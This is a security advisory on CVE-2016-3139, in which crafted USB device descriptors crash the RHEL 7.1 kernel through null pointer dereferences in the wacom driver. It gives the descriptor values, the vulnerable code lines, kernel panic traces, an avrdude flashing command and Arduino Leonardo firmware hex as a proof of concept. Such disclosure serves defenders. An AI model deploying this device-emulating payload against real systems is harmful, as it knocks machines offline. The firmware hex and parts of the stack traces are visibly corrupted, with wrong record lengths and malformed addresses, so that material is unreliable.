

OS-S Security Advisory 2016-11

Linux wacom multiple Nullpointer Dereferences

Date: March 4th, 2016

Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg

CVE: CVE-2016-3139

CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)

Title: Multiple Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (wacom driver)

Severity: Critical. The Kernel panics. A reboot is required.

Ease of Exploitation: Trivial

Vulnerability type: Wrong input validation

Products: RHEL 7.1 including all updates

Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)

Vendor: Red Hat

Vendor contacted: November, 12th 2015

Abstract:

The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of buggy USB device requiring the wacom driver.

Detailed product description:

We confirmed the bug on the following system:

- RHEL 7.1
- Kernel 3.10.0-229.20.1.el7.x86_64

Further products or kernel versions have not been tested.

How reproducible: Always

Actual results: Kernel crashes.

Description:

These bugs were found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptors:

[*] Device-Descriptor #1

bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0x3
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x56a
idProduct:	0x3
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

This is the configuration descriptor containing the malicious value for bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the system.

[*] Configuration-Descriptor

bLength:	0x9
bDescriptorType:	0x2
wTotalLength:	0x27
bNumInterfaces:	0x1

```

bConfigurationValue:      0x1
iConfiguration:          0x0
bmAttributes:             0x0
bMaxPower:                0x31

```

[*] Interface-Descriptor

```

bLength:                  0x9
bDescriptorType:          0x4
bInterfaceNumber:         0x0
bAlternateSetting:        0x0
bNumEndpoints:            0x0
bInterfaceClass:          0x0
bInterfaceSubClass:       0x0
bInterfaceProtocol:       0x0

```

[*] Endpoint-Descriptor:

```

bLength:                  0x7
bDescriptorType:          0x5
bEndpointAddress:         0x81
bmAttribut:               0x3
wMaxPacketSize:           0x404
bInterval:                0xc

```

[*] Endpoint-Descriptor:

```

bLength:                  0x7
bDescriptorType:          0x5
bEndpointAddress:         0x1
bmAttribut:               0x2
wMaxPacketSize:           0x4
bInterval:                0xc

```

[*] Endpoint-Descriptor:

```

bLength:                  0x7
bDescriptorType:          0x5
bEndpointAddress:         0x82
bmAttribut:               0x2
wMaxPacketSize:           0x4
bInterval:                0xc

```

The wacom driver assumes that there will be at least one endpoint-descriptor.

If the interface-descriptor contains a zero-value for bNumEndpoints or no endpoint-descriptor is provided, the driver tries to dereference a null-pointer and the kernel crashes:

```

****
$ nm wacom.ko.debug | grep wacom_probe
00000000000054a0 t wacom_probe
$ addr2line -e wacom.ko.debug 0x5A22
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/tablet/wacom_sys.c:1367
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/tablet/wacom-sys.c)
...
1308
1309 endpoint = &intf->cur_altsetting->endpoint[0].desc; /* might be null-pointer */
1310
...
1365
1366 usb_fill_int_urb(wacom->irq, dev,
1367     usb_rcvintpipe(dev, endpoint->bEndpointAddress), /* possible null-pointer dereference */
1368     wacom_wac->data, features->pktlen,
1369     wacom_sys_irq, wacom, endpoint->bInterval);
1370 wacom->irq->transfer_dma = wacom->data_dma;
...
****

```

[*] Device-Descriptor #2

```

bLength:                  0x12

```

bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0x3
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x56a
idProduct:	0x90
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

This is the configuration descriptor containing the malicious value for bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the system.

[*] Configuration-Descriptor

bLength:	0x9
bDescriptorType:	0x2
wTotalLength:	0x27
bNumInterfaces:	0x1
bConfigurationValue:	0x1
iConfiguration:	0x0
bmAttributes:	0x0
bMaxPower:	0x31

[*] Interface-Descriptor

bLength:	0x9
bDescriptorType:	0x4
bInterfaceNumber:	0x0
bAlternateSetting:	0x0
bNumEndpoints:	0x0
bInterfaceClass:	0x0
bInterfaceSubClass:	0x0
bInterfaceProtocol:	0x0

[*] Endpoint-Descriptor:

bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x81
bmAttribut:	0x3
wMaxPacketSize:	0x404
bInterval:	0xc

[*] Endpoint-Descriptor:

bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x1
bmAttribut:	0x2
wMaxPacketSize:	0x4
bInterval:	0xc

[*] Endpoint-Descriptor:

bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x82
bmAttribut:	0x2
wMaxPacketSize:	0x4
bInterval:	0xc

The wacom driver assumes that there will be at least one endpoint-descriptor.

If the interface-descriptor contains a zero-value for bNumEndpoints or no endpoint-descriptor is provided, the driver tries to dereference a null-pointer and the kernel crashes:

```
****
$ nm wacom.ko.debug | grep wacom_probe
00000000000054a0 t wacom_probe
$ addr2line -e wacom.ko.debug 0x5756
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/tablet/wacom_sys.c:599
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/tablet/wacom-sys.c)
...
597 error = usb_get_extra_descriptor(interface, HID_DEVICE_HID, &hid_desc);
598 if (error) {
599     error = usb_get_extra_descriptor(&interface->endpoint[0], /* possible null-pointer dereference */
600         HID_DEVICE_REPORT, &hid_desc);
...
****
```

Proof of Concept:

For a proof of concept, we are providing two Arduino Leonardo firmware files. These firmware files will emulate defective USB devices.

```
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex
```

Firmware files have been attached to this bug report.

To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3!

Severity and Ease of Exploitation:

Both vulnerabilities can be easily exploited. Using our Arduino Leonardo firmware files, only physical access to the system is required.

Vendor Communication:

We contacted Red Hat on the November, 12th 2015.

The upstream driver was recently rebased and thus is not affected.

RHEL related security patches have been provided, but no CVE number was assigned.

References:

- https://bugzilla.redhat.com/show_bug.cgi?id=1283375
- https://bugzilla.redhat.com/show_bug.cgi?id=1283377
- <http://www.spinics.net/lists/linux-input/msg42294.html>

Kernel Stacktrace #1:

```
[ 41.611702] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 41.821226] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint descriptors, different from the interface
descriptor's value: 0
[ 41.844208] usb 1-1: New USB device found, idVendor=056a, idProduct=0003
[ 41.849572] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 41.855326] usb 1-1: Product: ĉ
[ 41.859442] usb 1-1: Manufacturer: ĉ
[ 41.863456] usb 1-1: SerialNumber: %
[ 41.916320] BUG: unable to handle kernel NULL pointer dereference at 0000000000000000
[ 41.917021] IP: [<ffffffa0398a22>] wacom_probe+0x582/0xec0 [wacom]
[ 41.917021] PGD 0
[ 41.917021] Oops: 0000 [#1] SMP
[ 41.917021] Modules linked in: wacom(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_contrack ebttable_nat
ebtable_broute bridge stp llc ebttable_filter ebtables ip6table_nat nf_contrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6
ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_contrack_ipv4 nf_defrag_ipv4
nf_nat_ipv4 nf_nat nf_contrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev
syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs
libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy
dm_mirror dm_region_hash dm_log dm_mod
[ 41.917021] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1
[ 41.917021] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-
project.org 04/01/2014
[ 41.917021] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[ 41.917021] RIP: 0010:[<ffffffa0398a22>] [<ffffffa0398a22>] wacom_probe+0x582/0xec0 [wacom]
```

```

[ 41.917021] RSP: 0018:ffff8800bd23b58 EFLAGS: 00010246
[ 41.917021] RAX: 0000000000000000 RBX: ffff8800c525800 RCX: 0000000000000000
[ 41.917021] RDY: 0000000000000004 RSI: 0000000000000008 RDI: ffff8800ca75000
[ 41.917021] RBP: ffff8800bd23be0 R08: 000000000000000d R09: 0000000000000064
[ 41.917021] R10: 0000000000000064 R11: ffffffff810020d8 R12: ffff8800bcd0090
[ 41.917021] R13: ffff8800bcd0000 R14: ffff8800c525c20 R15: ffff8800c525c00
[ 41.917021] FS: 00007fb8082b4880(0000) GS:ffff8800fc00000(0000) knlGS:0000000000000000
[ 41.917021] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 41.917021] CR2: 0000000000000002 CR3: 00000000bd05000 CR4: 000000000000006f
[ 41.917021] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 41.917021] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 41.917021] Stack:
[ 41.917021] ffff8800bd23bb0 00000000dca45828 ffff8800bcd0090 0000000000000004
[ 41.917021] ffff8800bcd0138 0000000000000202 0000000000000001 0000000000000246
[ 41.917021] 0000000000000000 ffff88000000000d 0000000000000202 00000000dca45828
[ 41.917021] Call Trace:
[ 41.917021] [<ffffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[ 41.917021] [<ffffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 41.917021] [<ffffffffff813d34b3>] __driver_attach+0x93/0xa0
[ 41.917021] [<ffffffffff813d3420>] ? __device_attach+0x40/0x40
[ 41.917021] [<ffffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 41.917021] [<ffffffffff813d2b2e>] driver_attach+0x1e/0x20
[ 41.917021] [<ffffffffff813d2680>] bus_add_driver+0x200/0x2d0
[ 41.917021] [<ffffffffff813d3b34>] driver_register+0x64/0xf0
[ 41.917021] [<ffffffffff8141c1c2>] usb_register_driver+0x82/0x160
[ 41.917021] [<ffffffffffa03a4000>] ? 0xffffffffffa03a3fff
[ 41.917021] [<ffffffffffa03a401e>] wacom_driver_init+0x1e/0x1000 [wacom]
[ 41.917021] [<ffffffffff810020e8>] do_one_initcall+0xb8/0x230
[ 41.917021] [<ffffffffff810dd0ee>] load_module+0x133e/0x1b40
[ 41.917021] [<ffffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[ 41.917021] [<ffffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[ 41.917021] [<ffffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[ 41.917021] [<ffffffffff81614389>] system_call_fastpath+0x16/0x1b
[ 41.917021] Code: 84 0f 08 00 00 48 83 c0 20 48 c7 c7 20 f4 39 a0 49 89 87 d8 00 00 00 e8 4d f1 26 e1 48 8b 45 b8
41 8b b7 88 00 00 00 49 8b 7f 60 <0f> b6 50 02 0f b6 48 06 41 8b 84 24 70 ff ff c1 e2 0f c1 e0
[ 41.917021] RIP [<ffffffffffa0398a22>] wacom_probe+0x582/0xec0 [wacom]
[ 41.917021] RSP [<ffff8800bd23b58>]
[ 41.917021] CR2: 0000000000000002
[ 42.331382] ---[ end trace b239663354a1c556 ]---
[ 42.336544] Kernel panic - not syncing: Fatal exception
[ 42.337520] drm_kms_helper: panic occurred, switching back to text console

```

Kernel Stacktrace #2:

```

[ 34.781297] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 34.986458] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint descriptors, different from the interface
descriptor's value: 0
[ 35.014291] usb 1-1: New USB device found, idVendor=056a, idProduct=0090
[ 35.021605] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 35.029627] usb 1-1: Product: ĉ
[ 35.034093] usb 1-1: Manufacturer: ĉ
[ 35.037368] usb 1-1: SerialNumber: %
[ 35.091600] BUG: unable to handle kernel NULL pointer dereference at 0000000000000038
[ 35.092021] IP: [<ffffffffffa0398756>] wacom_probe+0x2b6/0xec0 [wacom]
[ 35.092021] PGD 0
[ 35.092021] Oops: 0000 [#1] SMP
[ 35.092021] Modules linked in: wacom(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_contrack ebttable_nat
ebttable_broute bridge stp llc ebttable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6
ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4
nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev
syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs
libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy
dm_mirror dm_region_hash dm_log dm_mod
[ 35.092021] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1
[ 35.092021] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33f8e13 by qemu-
project.org 04/01/2014
[ 35.092021] task: ffff8800bcfa220 ti: ffff8800bd20000 task.ti: ffff8800bd20000
[ 35.092021] RIP: 0010:[<ffffffffffa0398756>] [<ffffffffffa0398756>] wacom_probe+0x2b6/0xec0 [wacom]
[ 35.092021] RSP: 0018:ffff8800bd23b58 EFLAGS: 00010286
[ 35.092021] RAX: 0000000000000000 RBX: ffff8800c525800 RCX: ffff8800bd23ba8
[ 35.092021] RDY: 0000000000000022 RSI: 0000000000000000 RDI: ffff8800f508692
[ 35.092021] RBP: ffff8800bd23be0 R08: ffff8800bd72553 R09: 0000000000000064
[ 35.092021] R10: 0000000000000064 R11: ffffffff810020d8 R12: ffff8800bcd0090
[ 35.092021] R13: ffff8800bcd0000 R14: ffff8800f508bc8 R15: ffff8800bd72400
[ 35.092021] FS: 00007fb8082b4880(0000) GS:ffff8800fc00000(0000) knlGS:0000000000000000
[ 35.092021] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 35.092021] CR2: 0000000000000038 CR3: 00000000d6a6000 CR4: 000000000000006f
[ 35.092021] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000

```

```

[ 35.092021] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 35.092021] Stack:
[ 35.092021] ffff8800bd23bb0 0000000065aed7a7 ffff8800bcd0090 0000000000000004
[ 35.092021] ffff8800bcd0138 0000000000000202 0000000000000001 0000000000000246
[ 35.092021] 0000000000000000 ffff8800bd23be0 0000000000000202 0000000065aed7a7
[ 35.092021] Call Trace:
[ 35.092021] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[ 35.092021] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 35.092021] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[ 35.092021] [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[ 35.092021] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 35.092021] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[ 35.092021] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
[ 35.092021] [<ffffffff813d3b34>] driver_register+0x64/0xf0
[ 35.092021] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
[ 35.092021] [<ffffffffffa03a4000>] ? 0xffffffffffa03a3fff
[ 35.092021] [<ffffffffffa03a401e>] wacom_driver_init+0x1e/0x1000 [wacom]
[ 35.092021] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[ 35.092021] [<ffffffffff810dd0ee>] load_module+0x133e/0x1b40
[ 35.092021] [<ffffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[ 35.092021] [<ffffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[ 35.092021] [<ffffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[ 35.092021] [<ffffffffff81614389>] system_call_fastpath+0x16/0x1b
[ 35.092021] Code: 05 01 00 00 41 8b 76 0c 49 8b 7e 10 48 8d 4d c8 ba 21 00 00 00 e8 cb 2c 07 e1 85 c0 74 24 49
8b 46 18 48 8d 4d c8 ba 22 00 00 00 <8b> 70 38 48 8b 78 30 e8 ae 2c 07 e1 85 c0 41 89 c6 0f 85 b2 07
[ 35.092021] RIP [<ffffffffffa0398756>] wacom_probe+0x2b6/0xec0 [wacom]
[ 35.092021] RSP <ffff8800bd23b58>
[ 35.092021] CR2: 0000000000000038
[ 35.492030] ---[ end trace b239663354a1c556 ]---
[ 35.497540] Kernel panic - not syncing: Fatal exception
[ 35.498503] drm_kms_helper: panic occurred, switching back to text console

```

Arduino Leonardo Firmware #1:

```

:10000000C94A8000C94C5000C94C5000C94C50079
:100010000C94C5000C94C5000C94C5000C94C5004C
:100020000C94C5000C94C5000C94C2050C942D04CE
:100030000C94C5000C94C5000C94C5000C94C5000C94C5002C
:100040000C94C5000C94C5000C94C5000C94C5000C94C5001C
:100050000C94C5000C94C5000C94C5000C94C5000C94C0C2C3
:100060000C94C5000C94C5000C94C5000C94C5000C94C500FC
:100070000C94C5000C94C5000C94C5000C94C5000C94C500EC
:100080000C94C5000C94C5000C94C5000C94C5000C94C500DC
:100090000C94C5000C94C5000C94C5000C94C5000C94C500CC
:1000A0000C94C5000C94C5000C94C5000C94C50009030C0306
:1000B000FF0203032D032D032D0310031403180364
:1000C0001E0322032D0328030000000200080E0077
:1000D00000030401000B0000000000000000000000D
:1000E00000000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:1001000010204040040404040404040304050202020217
:10011000040302020202020606060606060604040202A0
:1001200002040000000002300260029002C002F00FC
:10013000000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E0EDF3E102C005900D92A436B107D5
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C
:10018000E1F70E94C8000C9402070C940000089547
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
:1001A000DEBFB0FBECDBF0E949F020E94C70060E06D
:1001B00083E00E942E0361E087E00E942E0361E04D
:1001C00088E00E942E030E9457067E012AE9E20E73
:1001D000F11C84E093E0D70111969C938E9389E003
:1001E00094E013969C938E93129782E2E2E1F1E001
:1001F0009E012F5F3F4F6901D90101900D928A95B1
:10020000E1F788E1E4E3F1E0DE01939601900D92DD
:100210008A95E1F782E1ECE4F1E0DE01DB96019002
:100220000D928A95E1F789E0EEE5F1E0DE01A05953
:10023000BF4F01900D928A95E1F72A593F4F99E0FF
:10024000992ED901E92D1D92EA95E9F78E010957FA
:100250001F4F87E0E7E6F1E0D80101900D928A9503

```

:10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189
:1002700001900D928A95E1F7AE0147585F4F87E0F4
:10028000E5E7F1E0DA0101900D928A95E1F75E0170
:10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D
:1002A0000D928A95E1F7CE01835B9F4FEEEE0DC0172
:1002B0001D92EA95E9F7E3E0DC011996EC93F90168
:1002C0009082E4E0D9011196EC93F901DC01292D2B
:1002D00001900D922A95E1F7FE01EC56FF4FDC01EB
:1002E0001B96FC93EE931A971D96BC92AE921C97A8
:1002F0001183008373836283558344830C521109F5
:100300002CE0F80111922A95E9F721E0D80119961D
:100310002C931997FE01E059FF4F01900D929A948A
:10032000E1F7F8019387828761E088E00E94670324
:100330008BE492E00E94630688E892E00E946306E4
:1003400087EC92E00E94630686E093E00E946306D9
:1003500082E493E00E9463068FE793E00E946306C5
:1003600084EA93E00E9463068BEE93E00E946306AA
:1003700083E00E949D03892B09F047C05E01F3E2F0
:10038000AF0EB11C8824839482E1982E84E194E01E
:100390000E946306BF92AF92DF92CF92FF92EF92DC
:1003A0001F928F921F930F932DB73EB722513109A1
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